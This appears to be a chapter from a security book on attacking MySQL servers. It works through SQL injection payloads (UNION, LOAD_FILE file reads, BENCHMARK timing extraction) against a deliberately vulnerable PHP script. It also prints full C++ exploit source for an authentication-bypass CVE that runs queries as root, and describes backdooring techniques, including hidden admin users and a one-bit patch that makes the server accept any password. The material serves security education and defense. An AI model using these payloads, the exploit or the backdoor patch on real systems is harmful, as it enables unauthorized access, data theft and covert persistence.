Hacking MySQL

This section covers the following:

  • SQL injection in MySQL

  • Known MySQL bugs

  • Trojanning MySQL

  • Dangerous extensions: MyLUA and MyPHP

SQL Injection in MySQL

SQL injection is probably the most worrying attack on a MySQL system because it's the most probable initial attack vector on an Internet-connected server. Using SQL injection, it is possible to use the database server as a beachhead into the internal network ”or at least, the network that the MySQL server is in ”and as a platform for launching further attacks.

Frequently, applications inadvertently allow the execution of arbitrary queries in their database backends , by neglecting to vet incoming data. The problem occurs when an application creates a string that holds a SQL query, and includes user -supplied data in that string without applying any input validation.

Imagine a login form where the user supplies a username and password. This data is passed to a database query directly, so if the user inputs the username fred and the password sesame into the form, the SQL query looks like this:

 select * from tblUsers where username = 'fred' and password = 'sesame' 

In this example, the problems occur when the user specifies a string with a single quote in it. The user can submit a username like this:

 fred'# 

which will result in the SQL query string

 select * from tblUsers where username = 'fred'#' and password = 'sesame' 

which of course will log the user on as fred without knowing fred's password, because the database stops evaluating the query at the # (the MySQL single-line comment character).

Worse, the user can take advantage of other SQL statements such as union, insert, delete, and so on to manipulate the database directly.

Even after several years of continual preaching by the security community, SQL injection is still a big problem. The problem itself results from insufficient input validation in web applications, but the configuration of the backend database can contribute greatly to an attacker's success. If you lock down the MySQL box well, the damage caused by even a badly flawed application can be mitigated.

Before we address the specifics of SQL injection in MySQL, let's consider the common attacks. This section presumes a working knowledge of SQL injection. If you're not entirely familiar with SQL injection, see

 http://www.ngssoftware.com/papers/advanced_sql_injection.pdf 

and

 http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf 

for some background information.

PHP is by far the most common web application scripting language used with MySQL, so this section assumes that the scripting environment is PHP ”though these attacks apply almost equally to almost every scripting language.

In PHP, the magic_quotes_gpc setting controls whether the PHP engine will automatically escape single quotes, double quotes, backslashes, and NULLs. In magic_quotes_gpc, the gpc stands for GET/POST/COOKIE. This setting is enabled by default in more recent versions, so if the value being submitted by the user is being placed in a string variable:

 $query = "SELECT * FROM user where user = '" . $_REQUEST['user'] . "'"; 

SQL injection is impossible . However, if the value is being placed in a non-delimited portion of the query, such as a numeric value, table, or column name :

 $query = "SELECT * FROM user order by " . $_REQUEST['user']; 

or

 $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user']; 

then SQL injection is still possible. One possible way of dealing with the numeric problem in PHP/MySQL is to delimit all user input in single quotes, including numbers . The comparison will still work, but magic_quotes_gpc will protect against the attacker escaping from the string.

Obviously, if magic quotes are turned off, SQL injection is always possible, depending on how user input is validated .

Assuming that the attacker is able to mount a SQL injection attack, the question then is, what can he do? The major danger areas are

UNION SELECT

LOAD_FILE function

LOAD DATA INFILE statement

SELECT ... INTO OUTFILE statement

BENCHMARK function

User Defined Functions (UDFs)

So that we have a concrete example to work with, we will take a slightly modified version of one of the common PHP example scripts as our contrived vulnerable script. This script should work with a default install of MySQL; we will use the default root user and the default mysql database to demonstrate SQL injection. This is obviously a contrived situation, but it will help to make the examples a little clearer.

 <?php     /* Connecting, selecting database */     $link = mysql_connect("my_host", "root")         or die("Could not connect : " . mysql_error());     print "Connected successfully";     mysql_select_db("mysql") or die("Could not select database");     /* Performing SQL query */     $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];     print "<h3>Query: " . $query . "</h3>";     $result = mysql_query($query) or die("Query failed : " . mysql_error());     /* Printing results in HTML */     print "<table>\n";     while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {         print "\t<tr>\n";         foreach ($line as $col_value) {             print "\t\t<td>$col_value</td>\n";         }         print "\t</tr>\n";     }     print "</table>\n";     /* Free resultset */     mysql_free_result($result);     /* Closing connection */     mysql_close($link); ?> 

UNION SELECT

The UNION statement was implemented in MySQL version 4.0. Because it's one of the staple ingredients of a SQL injection attack, the introduction of this feature has actually made exploiting MySQL servers via SQL injection a little easier.

In our contrived example, we have a query that looks like this:

 $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user']; 

max_connections is 0 for the default root user, so if we issue a web request for

 http://mysql.example.com/query.php?user=0 

we should get the user table output.

If we want to return other useful data ”apart from the user table ”we can use the UNION statement to combine two resultsets. Because the UNION statement comes after the WHERE clause in a select statement, we can choose any data we like, within the following restrictions:

  • Our select statement must return the same number of fields as the original (31 if you count them, or do a describe user).

  • The data types of our fields must match, or it must be possible to implicitly convert between the two.

  • If our data contains text fields, they will be truncated to the length of the corresponding text field in the first query.

Let's say we want to return the @@version string. We would request something like

 http://mysql.example.com/query.php?user=1+union+select+@@version,1,1,1,_1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 

We can select arbitrary fields from tables in other tables using union select. For example, suppose we wanted to retrieve the name and dl fields from the func table:

 http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,_1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func 

Using UNION, an attacker can effectively access all of the data that the calling application can access.

LOAD_FILE Function

The LOAD_FILE function returns a string containing the contents of a file, specified by its path . So, for example on a Windows box, the query

 select load_file('c:/boot.ini'); 

will retrieve the contents of the boot.ini file.

The file_priv privilege in MySQL versions prior to 4.1 (all production versions at the time of this writing) allows the user who possesses it to totally bypass all access control. This is a documented feature of MySQL. The following is from the MySQL user manual:

The FILE privilege gives you permission to read and write files on the server host using the LOAD DATA INFILE and SELECT . . . INTO OUTFILE statements. A user who has the FILE privilege can read any file on the server host that is either world-readable or readable by the MySQL server. (This implies the user can read any file in any database directory, because the server can access any of those files.) The FILE privilege also allows the user to create new files in any directory where the MySQL server has write access. Existing files cannot be overwritten.

This means that if a user has file_priv, he can see the password hashes. For example:

 (as anyone with file_priv) select substring(load_file('./mysql/user.MYD'), 195 ); 5d2e19393cc5ef67 (as root) select password from mysql.user where user='monty'; 5d2e19393cc5ef67 

As noted previously, in MySQL prior to 4.1 (that is, all production versions to date) these hashes are all you need in order to authenticate; there is no brute-force phase necessary. In fact, the user can see all data in MySQL without any other access control having any effect whatsoever. File_priv and the load_file function bypass it all. This works because file_priv lets you read any files that mysql can read.

Admittedly file_priv is bad for other reasons, but this is a serious privilege elevation issue. Any user who has file_priv should be considered to be equivalent to the superuser.

If the target host is running PHP and has magic_quotes turned on, we need to express the string c:/boot.ini without using single quotes. Fortunately, MySQL accepts hex-encoded strings as a substitute for string literals.

For example, the following two select statements are equivalent:

 select 'c:/boot.ini' select 0x633a2f626f6f742e696e69 

So if we request

 http://mysql.example.com/query.php?user=1+union+select+load_file_(0x633a2f626f  6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,_1,1,1,1,1,1,1,1,1 

we get something that looks like:

 [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N  N N N N N N N N N N N N N N  1 1 1 1 1 1 

In other words, we got the first few bytes of c:\boot.ini, because the union truncates the string to the length of the first field of the user table, which is 60 characters .

We can address this by using the substring function:

 http://mysql.example.com/query.php?user=1+union+select+substring_(load_file(0x63 3a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,_1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 

This will select the next 60 characters from boot.ini. In this manner, we can iterate through the whole file, returning all the data. LOAD_FILE works on binary files, and SUBSTRING allows us to skip nulls, so the attacker can also use this technique to read arbitrary binary files.

LOAD DATA INFILE Statement

This isn't really as useful to an attacker as the LOAD_FILE function, because generally functions can be used as terms in a select statement, whereas issuing a complete statement like LOAD DATA INFILE is somewhat tricky. If the SQL injection situation permits the attacker to submit multiple statements, however, this can be a serious problem.

The statements you would need to execute to read a text file would look something like this:

 create table foo( line blob ); load data infile 'c:/boot.ini' into table foo; select * from foo; 

An interesting and dangerous feature of LOAD DATA is that it is possible to cause the file to be taken from the MySQL client (rather than the server). In the case of a web application with SQL injection issues, this would allow the attacker to read files on the web server as well as on the database server. This issue has been configured out in MySQL versions above 3.23.49 and 4.0.2 (4.0.13 on Windows). Both the client and the server must permit LOAD DATA INFILE for this feature to be available. That said, it is wise to ensure that the feature is disabled in your configuration ”although it provides an extremely quick means of loading data into a table from a client machine, it is also a significant security risk.

SELECT . . . INTO OUTFILE

The companion statement to LOAD DATA INFILE is SELECT . . . INTO OUTFILE. Many of the same disadvantages are present from the attacker's point of view. This statement represents the most obvious way for an attacker to gain control of a MySQL server ”normally by creating previously nonexistent configuration files, possibly in users' home directories.

It's worth remembering that in recent versions this statement cannot modify existing files; it can only create new ones.

If you attempt to create a binary file using SELECT . . . INTO OUTFILE, certain characters will be escaped with backslashes, and nulls will be replaced with \0. You can create binary files with SELECT INTO, using a slightly modified syntax:

 SELECT ... INTO DUMPFILE 

One possible malicious use of this statement would be to create a dynamically loadable library, containing a malicious UDF (User Defined Function) on the target host, and then use CREATE FUNCTION to load the library and make the function accessible to MySQL. In this manner, the attacker could run arbitrary code on the MySQL server. A point to note here is that in order for this attack to work, the attacker must be able to cause MySQL to write a file to a location that will be searched when MySQL loads a dynamically loadable library. Depending on the file permissions in place on the system in question, this may not be possible.

Another thing to bear in mind about SELECT . . . INTO OUTFILE is that it may well be able to modify the MySQL configuration files. An excellent example of this is the bug CAN-2003-0150, detailed in Table 18-1. In version 3.23.55 and earlier, it was possible for mysql to create a new file, overriding my.cnf in the MySQL data directory that would configure MySQL to run as root when restarted. This was fixed (in 3.23.56) by changing MySQL so that it won't read configuration files that are world-writable, and by ensuring that the user setting set in /etc/my.cnf overrides the user setting in /<datadir>/my.cnf.

Table 18-1: MySQL Known Security Bugs and Fixes

VERSION FIX

CVE ID

DESCRIPTION

4.0.20

CAN-2004-0956

MySQL before 4.0.20 allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote.

4.0.21
3.23.49

CAN-2004-0837

MySQL 4.x before 4.0.21, and 3.x before 3.23.49, allows attackers to cause a denial of service (crash or hang) via multiple threads that simultaneously alter MERGE table UNIONs.

4.0.21
3.23.49

CAN-2004-0836

Buffer overflow in the mysql_real_connect function in MySQL 4.x before 4.0.21, and 3.x before 3.23.49, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a malicious DNS server.

4.0.21
3.23.49

CAN-2004-0835

MySQL 4.x before 4.0.21, and 3.x before 3.23.49, checks the CREATE/INSERT rights of the original table instead of the target table in an ALTER TABLE RENAME operation, which could allow attackers to conduct unauthorized activities.

4.1.3
5.0.0-2

CAN-2004-0628

Stack-based buffer overflow in MySQL 4.1.x before 4.1.3, and 5.0, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long scramble string.

4.1.3
5.0.0-2

CAN-2004-0627

MySQL authentication bypass with zero-length authentication string.

4.0.21

CAN-2004-0457

The mysqlhotcopy script in mysql 4.0.20 and earlier, when using the scp method from the mysql-server package, allows local users to overwrite arbitrary files via a symlink attack on temporary files.

3.23.49
4.0.18

CAN-2004-0388

The script mysqld_multi allows local users to overwrite arbitrary files via a symlink attack. Workaround ”revoke access to the script.

3.23.59
4.0.19

CAN-2004-0381

mysqlbug in MySQL allows local users to overwrite arbitrary files via a symlink attack on the failed-mysql-bugreport temporary file. Workaround ”revoke access to the script.

3.23.57
4.0.15

CAN-2003-0780

Buffer overflow in get_salt_from_password from sql_acl.cc for MySQL 4.0.14 and earlier, and 3.23.x, allows attackers to execute arbitrary code via a long Password field. Note ”an attacker would have to be able to modify a user s password in order to carry out this attack, but it would result in the execution of arbitrary code.

3.23.56

CAN-2003-0150

MySQL 3.23.55 and earlier creates world- writable files and allows mysql users to gain root privileges by using the SELECT * INTO OUTFILE statement to overwrite a configuration file and cause mysql to run as root upon restart. Workaround ”patch, use --chroot, and apply file permissions.

3.23.55

CAN-2003-0073

Double-free vulnerability in mysqld for MySQL before 3.23.55 allows remote attackers to cause a denial of service (crash) via mysql_change_user.

3.23.54
4.0.6

CAN-2002-1376

libmysqlclient client library in MySQL 3.x to 3.23.54, and 4.x to 4.0.6, does not properly verify length fields for certain responses in the (1) read_rows or (2) read_one_row routines, which allows remote attackers to cause a denial of service and possibly execute arbitrary code. Note ”in this case, the attacker would create a malicious MySQL server and attack clients that connected to it. This might be a way of compromising a web server, once the MySQL server itself had been compromised.

3.23.54
4.0.6

CAN-2002-1375

The COM_CHANGE_USER command in MySQL 3.x before 3.23.54, and 4.x to 4.0.6, allows remote attackers to execute arbitrary code via a long response. This bug (and CAN-2002-1374, described next) is an excellent reason to rename the default root account. The attacker must know the name of a MySQL user in order to carry out this attack.

3.24.54
4.0.6

CAN-2002-1374

The COM_CHANGE_USER command in MySQL 3.x before 3.23.54, and 4.x before 4.0.6, allows remote attackers to gain privileges via a brute- force attack using a one-character password, which causes MySQL to compare the provided password against only the first character of the real password. The attacker must know the name of a MySQL user in order to carry out this attack.

3.23.54
4.0.6

CAN-2002-1373

Signed integer vulnerability in the COM_TABLE_DUMP package for MySQL 3.23.x before 3.23.54 allows remote attackers to cause a denial of service (crash or hang) in mysqld by causing large negative integers to be provided to a memcpy call.

3.23.50
4.0.2

CAN-2002-0969

Buffer overflow in MySQL before 3.23.50, and 4.0 beta before 4.02, and possibly other platforms, allows local users to execute arbitrary code via a long datadir parameter in the my.ini initialization file, whose permissions on Windows allow Full Control to the Everyone group .

VERSION FIX

CVE ID

DESCRIPTION

(not fixed)

CAN-2001-1255

WinMySQLadmin 1.1 stores the MySQL password in plaintext in the my.ini file, which allows local users to obtain unauthorized access the MySQL database. Note ”this bug still wasn t fixed at the time of this writing.

3.23.36

CVE-2001-0407

Directory traversal vulnerability in MySQL before 3.23.36 allows local users to modify arbitrary files and gain privileges by creating a database whose name starts with .. (dot dot).

3.23.31

CAN-2001-1274

Buffer overflow in MySQL before 3.23.31 allows attackers to cause a denial of service and possibly gain privileges.

3.23.31

CAN-2001-1275

MySQL before 3.23.31 allows users with a MySQL account to use the SHOW GRANTS command to obtain the encrypted administrator password from the mysql.user table and gain control of mysql.

4.1.x

CVE-2000-0981

MySQL Database Engine uses a weak authentication method, which leaks information that could be used by a remote attacker to recover the password.

3.23.10

CVE-2000-0148

MySQL 3.22 allows remote attackers to bypass password authentication and access a database via a short check string (this is similar to CAN-2002-1374).

3.23.9

CVE-2000-0045

MySQL allows local users to modify passwords for arbitrary MySQL users via the GRANT privilege.

3.22

CVE-1999-1188

mysqld in MySQL 3.21 creates log files with world-readable permissions, which allows local users to obtain passwords for users who are added to the user database.

In versions that are vulnerable to this bug, it is relatively simple for an attacker to compromise the system using a UDF, in the manner described earlier.

Time Delays and the BENCHMARK Function

Sometimes, a web application doesn't return any useful error messages. This poses a problem for the attacker because it is then much harder to determine whether or not SQL injection exists in the application.

In these situations it is useful for an attacker to be able to cause a database query to pause for some significant time, say 10 seconds. If the attacker has a simple function or query fragment that will cause the query to pause if SQL injection is happening, he will be able to easily determine which scripts in the web application are vulnerable because the web request will take an extra 10 seconds to complete. Once the attacker has established that SQL injection is present in an application, he can use time delays in combination with conditional statements to extract information from the database.

For more information on extracting data from a database using time delays, see

 http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf 

In MySQL there is no simple wait or sleep function, but the combination of cryptographic primitives and the benchmark function works in much the same way.

The benchmark function will evaluate a specified expression a specified number of times. For example,

 select benchmark( 500000, sha1( 'test' ) ); 

will calculate the SHA1 hash of the string test 500,000 times. This takes about 5 seconds on a 1.7-GHz, single processor machine.

Because the benchmark function can be used as an expression, we can insert it into likely looking fields in our web application and look to see when the application appears to pause. For example,

 http://mysql.example.com/query.php?user=1+union+select+benchmark(500000,sha1(0x414141)), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,_1,1,1 

will cause the application to pause for a fairly long time (10 “15 seconds) before responding.

The attacker can use this technique to ask questions of the target system. For instance, the following select statement will pause if the current user's username is root:

 mysql> select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); 

The if part of this statement can be inserted anywhere a column name would go in a select statement, so it's actually quite easy to access this behavior via SQL injection.

The next step is, of course, full data retrieval using time delays. This is achieved by selecting individual bits out of strings and pausing if they are 1. For example, the following statement will pause if the high-order bit of user() is 1:

 select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(test)), false ); 

Because multiple queries can be executing simultaneously, this can be a reasonably fast way of extracting data from a database in the right situation.

Known MySQL Bugs

For reference, Table 18-1 lists the known security bugs in MySQL and the current version in which they were fixed. For example, if the Version Fix column says 3.22, the bug was fixed in versions 3.22 and higher. (Source: ICAT Metabase at http://icat.nist.gov .)

An interesting category of bugs that is characteristic of MySQL is authentication bypass attacks. The following is exploit code for CAN-2004-0627, a bug I discovered . It can easily be modified to exploit CVE-2000-0148 or CAN-2002-1374.

The exploit is designed to be run on a Windows platform. To use it, run it with the target IP and port. The query pszQuery will be executed with the privileges of the user specified in the string user ”in this case, root.

 // mysql_ngs.cpp #include <windows.h> #include <winsock.h> #include <stdio.h> #include <stdlib.h> #define Get(X, Y) X Y( int &offset )\                {if( offset <= (int)(m_Size - sizeof( X )))\                     { offset += sizeof( X ); return *((X *)(&m_Data[ offset - sizeof(X) ]));}\                else return 0;} #define Addn(X, Y) int Y( int &offset, X n ){ Add( (BYTE *)&n, sizeof( n ) ); return 1; } class Buffer { public:      unsigned char *m_Data;      int m_Size;      Buffer(){ m_Data = NULL; m_Size = 0; };      ~Buffer(){ if( m_Data ) delete m_Data; };      int Add( unsigned char *pdata, int len )      {           unsigned char *pNew;           int NewSize = m_Size + len;           pNew = new unsigned char [ NewSize ];           if( m_Size > 0 )           {                memcpy( pNew, m_Data, m_Size );                delete m_Data;           }           memcpy( &(pNew[m_Size]), pdata, len );           m_Data = pNew;           m_Size += len;           return 1;      };      int SetSize( int NewSize )      {           if( m_Size > 0 )                delete m_Data;           m_Data = new unsigned char [ NewSize ];           m_Size = NewSize;           memset( m_Data, 0, m_Size );           return 1;      };      int Print()      {           int i;           for( i = 0; i < m_Size; i++)           {                printf("%c", m_Data[ i ] ); //               if( i % 32 == 0 ) //                    printf("\n" );           }           return 1;      };      Get(BYTE, GetBYTE);      Get(WORD, GetWORD);      Get(DWORD, GetDWORD);      Addn(BYTE, AddBYTE );      Addn(WORD, AddWORD );      Addn(DWORD, AddDWORD );      int GetString( int &offset, Buffer &ret )      {           int len;           if( offset > m_Size - 1 )                return 0;           len = (int)strlen( (char *)(&(m_Data[offset])) );           ret.SetSize( 0 );           ret.Add( &(m_Data[offset]), len + 1 );           offset += len + 1;           return 1;      } }; int m_sock_initialised = 0; class Socket { private:       int m_sock; public:      Socket(){ m_sock = 0; }      ~Socket(){ Disconnect(); }      int Connect( char *host_ip, unsigned short port )      {           WORD wVersionRequested;           WSADATA wsaData;           int ret;           struct sockaddr_in sa;           if ( m_sock_initialised == 0 )           {                wVersionRequested = MAKEWORD( 2, 2 );                       ret = WSAStartup( wVersionRequested, &wsaData );                                if ( ret != 0 )                     return 0;                           m_sock_initialised = 1;           }           m_sock = (int)socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );           if( m_sock == INVALID_SOCKET )                return 0;           sa.sin_addr.s_addr = inet_addr( host_ip );;           sa.sin_family=AF_INET;           sa.sin_port = htons( port );                 ret = connect( m_sock, (struct sockaddr *)&sa, sizeof( struct sockaddr_in ) );           if( ret == 0 )                return 1;           else                 return 0;      }      int Disconnect()      {           closesocket( m_sock );           return 1;      }      int Send( Buffer &buff )      {           return send( m_sock, (char *)buff.m_Data, buff.m_Size, 0 );      }      int Receive( Buffer &buff )      {           return recv( m_sock, (char *)buff.m_Data, buff.m_Size, 0 );      } }; int SendGreeting( Socket &s, Buffer &ret ) {      return 1; } int RecvBanner( Socket &s, Buffer &ret ) {      return s.Receive( ret ); } int ParseBanner( Buffer &buff, WORD &BodyLength, WORD &Packet, BYTE &Protocol, Buffer &Version,                       DWORD &ThreadID, Buffer &Challenge, WORD &Capabilities,  BYTE &Charset, WORD &Status, Buffer &Padding ) {      int offset = 0;     BodyLength = buff.GetWORD( offset );      Packet = buff.GetWORD( offset );      Protocol = buff.GetBYTE( offset );      buff.GetString( offset, Version );      ThreadID = buff.GetDWORD( offset );      buff.GetString( offset, Challenge );      Capabilities = buff.GetWORD( offset );      Charset = buff.GetBYTE( offset );      Status = buff.GetWORD( offset );      buff.GetString( offset, Padding );      return 1; } int main(int argc, char *argv[]) {      Socket s;      Buffer banner;      BYTE Protocol, Charset;      WORD BodyLength, Packet, Capabilities, Status;      DWORD ThreadID;      Buffer Version, Challenge, Padding, Response, tmp, Query;      int offset;      char *user = "root";      char *password = "\x14\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";      char *pszQuery = "select * from mysql.user";      banner.SetSize( 4096 );      if( !s.Connect( argv[1], atoi( argv[2] ) )) goto err;      if( !RecvBanner( s, banner ) ) goto err;      ParseBanner( banner, BodyLength, Packet, Protocol, Version, ThreadID, Challenge,  Capabilities, Charset, Status, Padding );            offset = 0;      Response.AddWORD( offset, 0x0032 ); // length       Response.AddWORD( offset, 0x0100 ); // packet      Response.AddWORD( offset, 0xa485 ); // capabilities      Response.AddWORD( offset, 0x0000 );      Response.AddBYTE( offset, 0x00 );      Response.Add( (BYTE *)user, (int)strlen( user ) + 1 );      offset += (int)strlen( user ) + 1;      Response.Add( (BYTE *)password, 40 );      offset += (int)strlen( password ) + 1;      s.Send( Response );      tmp.SetSize( 0 );      tmp.SetSize( 4096 );      s.Receive( tmp );      tmp.Print();      offset = 0;      Query.AddWORD( offset, (int)strlen( pszQuery ) + 2 ); // length      Query.AddWORD( offset, 0x0000 ); // packet      Query.AddBYTE( offset, 0x03 ); // command = query      Query.Add( (BYTE *)pszQuery, (int)strlen( pszQuery ) + 1 );      s.Send( Query );      tmp.SetSize( 0 );      tmp.SetSize( 4096 );      s.Receive( tmp );      tmp.Print();      return 0; err:      return 1; } 

Trojanning MySQL

The word Trojan in this context relates to the weakening of the security model of the database, by means of the installation or modification of code or data. In this context, we are considering an attacker who wishes to ensure that he will continue to have administrative access to the database once he has compromised it.

This can be achieved in a number of ways:

  • Addition of a user

  • Modification of an existing user's privileges in such a way that the user is able to gain administrative control

  • If there are several admin users, cracking their password hashes for later remote use

  • Modification of an existing UDF

  • Modification of the MySQL code base to allow remote access

Adding a User

The most straightforward way for an attacker to ensure continued admin access to a host is to add an administrative user. The disadvantage of this approach is that it is fairly easy for the database administrator to see that this has happened . In a well-structured mysql.users table, there should be only a single user with all privileges, and it should be easy to spot if a user has been added.

Most people tend to use the mysql command-line client to query MySQL, so the attacker can take advantage of this. Most admins would just run

 select * from mysql.user; 

to determine whether an invalid user was present. Depending on the terminal they are using, they are likely to see wrapped text that looks like this:

 mysql> select * from mysql.user; +-----------+-------+-------------------------------------------+-------------+- ------------+-------------+-------------+-------------+-----------+------------- +---------------+--------------+-----------+------------+-----------------+----- -------+------------+--------------+------------+-----------------------+------- -----------+--------------+-----------------+------------------+----------+----- -------+-------------+--------------+---------------+-------------+------------- ----+  Host       User   Password                                   Select_priv  Insert_priv  Update_priv  Delete_priv  Create_priv  Drop_priv  Reload_priv  Shutdown_priv  Process_priv  File_priv  Grant_priv  References_priv  Inde x_priv  Alter_priv  Show_db_priv  Super_priv  Create_tmp_table_priv  Lock_t ables_priv  Execute_priv  Repl_slave_priv  Repl_client_priv  ssl_type  ssl_ cipher  x509_issuer  x509_subject  max_questions  max_updates  max_connecti ons  +-----------+-------+-------------------------------------------+-------------+- ------------+-------------+-------------+-------------+-----------+------------- +---------------+--------------+-----------+------------+-----------------+----- -------+------------+--------------+------------+-----------------------+------- -----------+--------------+-----------------+------------------+----------+----- -------+-------------+--------------+---------------+-------------+------------- ----+  localhost  root                                              Y            Y            Y            Y            Y            Y          Y  Y              Y             Y          Y           Y                Y         Y           Y             Y           Y                      Y             Y             Y                Y                                                                          0            0    0   %          root                                              Y            Y            Y            Y            Y            Y          Y  Y              Y             Y          Y           Y                Y         Y           Y             Y           Y                      Y             Y             Y                Y                                                                          0            0    0   %          monty  *A02AA727CF2E8C5E6F07A382910C4028D65A053A  Y            Y            Y            Y            Y            Y          Y  Y              Y             Y          N           Y                Y         Y           Y             Y           Y                      Y             Y             Y                Y                                                                          0            0    0  +-----------+-------+-------------------------------------------+-------------+- ------------+-------------+-------------+-------------+-----------+------------- +---------------+--------------+-----------+------------+-----------------+----- -------+------------+--------------+------------+-----------------------+------- -----------+--------------+-----------------+------------------+----------+----- -------+-------------+--------------+---------------+-------------+------------- ----+ 3 rows in set (0.00 sec) 

As you can see, it can be hard to determine where one row ends and another starts. An obvious way for an attacker to take advantage of this is to either add a blank username, or a username of Y or N.

Modification of an Existing User's Privileges

MySQL privileges are the privileges at each level (user, database, table, column). For instance, if a user has global select privilege in the mysql.user table, the privilege cannot be denied by an entry at the database, table, or column level.

Similarly, it is possible to grant surprising levels of access to users using the database-, table-, and column-level privileges. For example,

 GRANT ALL PRIVILEGES ON mysql.* TO ''@'%' 

grants all users all database privileges (except grant) on the MySQL database. This allows any MySQL user to grant themselves and others arbitrary privileges by doing something like this:

 update mysql.user set file_priv='Y' where user=''; 

It is important to understand that the privileges will not actually take effect until either the server is restarted or a user with the reload_priv privilege executes the flush privileges command.

It should be apparent that more restricted, subtle manipulations of the privilege tables are possible, and it can sometimes be hard to determine what privileges a user actually has.

Cracking Password Hashes

The password hash format in MySQL was discussed in the previous chapter. To recap, in MySQL versions prior to 4.1, the password hash is all that is necessary to authenticate ”no password hash cracking is necessary. Admittedly the attacker needs a custom MySQL client, but a few simple modifications of the open source client is all that is required.

The attack described in this section is really therefore confined to MySQL 4.1 and higher, where the password hashes are actually hashes, and not credentials in themselves.

You can use MySQL itself as an engine for password cracking using the most basic SQL statements; it is not necessary to have a procedural language to crack passwords (though it is probably more efficient!). The following code snippet will crack a SHA1 hash of abcd:

 create table ch(c char); insert into ch values('a'),('b'),('c'),('d')...,('z'); select * from ch a, ch b, ch c, ch d where sha1(concat(a.c,b.c,c.c,d.c))='81fe8bfe87576c3ecb22426f8e57847382917acf'; 

This takes about 3 seconds. A 5-alphabetic-character SHA1 hash takes a maximum of about 90 seconds, and each additional character multiplies the time by 26, so 6-character hashes would take about 39 minutes, and 7-character hashes almost a day.

You can use MySQL to crack its own passwords in version 4.1.x using the built-in password function (you can do this in older versions as well, but as discussed previously, there's little point). First, obtain the value of the password you want to crack. You can do this by reading the file with an account that has file_priv using the load_file function:

 mysql> select substring(load_file('./mysql/user.MYD'), 166); +-----------------------------------------------------------------+  substring(load_file('./mysql/user.MYD'), 166)                    +-----------------------------------------------------------------+  *A02AA727CF2E8C5E6F07A382910C4028D65A053A___________  +-----------------------------------------------------------------+ 1 row in set (0.00 sec) 

Assuming a password for the account monty of aaa, the following query brute-forces the password:

 mysql> select distinct u.user,concat(a.c,b.c,c.c,d.c) from mysql.user u, ch a, ch b, ch c, ch d where password (trim(concat(a.c,b.c,c.c,d.c)))=u.password; +-------+-------------------------+  user   concat(a.c,b.c,c.c,d.c)  +-------+-------------------------+  monty  aaa                      +-------+-------------------------+ 3 rows in set (7.33 sec) 

This attack should be used with caution; although it's an interesting thing to do, the processor utilization on the server will almost certainly be noticed. It's not really a practical thing for the attacker to do unless the target server is under very little load.

The MySQL One-Bit Patch

We now present a small patch to MySQL that alters the remote authentication mechanism in such a manner that any password is accepted. This results in a situation where, provided remote access is granted to the MySQL server, it is possible to authenticate as any valid remote user, without knowledge of that user's password.

Again, it should be stressed that this sort of thing is useful only in particular situations. Specifically, when you want to

  • Place a subtle backdoor in a system.

  • Utilize an application/daemon's ability to interpret a complex set of data.

  • Compromise a system " quietly ." Occasionally it is better to use legitimate channels of communication, but modify the "security" attributes of those channels. If the attack is well constructed , it will appear in the logs that a normal user engaged in normal activity.

That said, more often than not, a root shell is more effective (though admittedly less subtle).

Anyway, on with the MySQL patch. To follow this discussion you'll need the MySQL source, which you can download from www.mysql.com .

MySQL uses a somewhat bizarre home-grown authentication mechanism that involves the following protocol (for remote authentications):

  • The client establishes a TCP connection.

  • The server sends a banner, and an 8-byte "challenge."

  • The client "scrambles" the challenge using its password hash (an 8-byte quantity).

  • The client sends the resulting scrambled data to the server over the TCP connection.

  • The server checks the scrambled data using the function check_scramble in sql\password.c.

  • If the scrambled data agrees with the data the server is expecting, check_scramble returns 0. Otherwise, check_scramble returns 1.

The relevant snippet of check_scramble looks like this:

 while (*scrambled)   {     if (*scrambled++ != (char) (*to++ ^ extra))       return 1;                           /* Wrong password */   }   return 0; So our patch is simple. If we change that code snippet to look like this:   while (*scrambled)   {     if (*scrambled++ != (char) (*to++ ^ extra))       return 0;                           /* Wrong password but we don't care :o) */   }   return 0; 

Any user account that can be used for remote access can be used with any password. You can do many other things with MySQL, including a conceptually similar patch to the SQL Server one ("it doesn't matter who you are, you're always dbo") among other interesting things.

The code compiles to a byte sequence something like this (using MS assembler format; sorry AT&T fans . . . )

 3B C8                cmp         ecx,eax 74 04                je          (4 bytes forward) B0 01                mov         al,1 EB 04                jmp         (4 bytes forward) EB C5                jmp         (59 bytes backward) 32 C0                xor         al,al 

It's the mov al, 1 part that's the trick here. If we change that to mov al, 0, any user can use any password. That's a 1-byte patch (or, if we're being pedantic, a 1-bit patch). We couldn't make a smaller change to the process if we tried, yet we've disabled the entire remote password authentication mechanism.

The means of inflicting the binary patch on the target system is left as an exercise. There have historically been a number of arbitrary code execution issues in MySQL; doubtless more will be found in time. Even in the absence of a handy buffer overflow, however, the technique still applies to binary file patching, and is thus still worth knowing about.

You then write a small exploit payload that applies that difference to the running code, or to the binary file, in a similar manner to the SQL Server exploit outlined earlier.

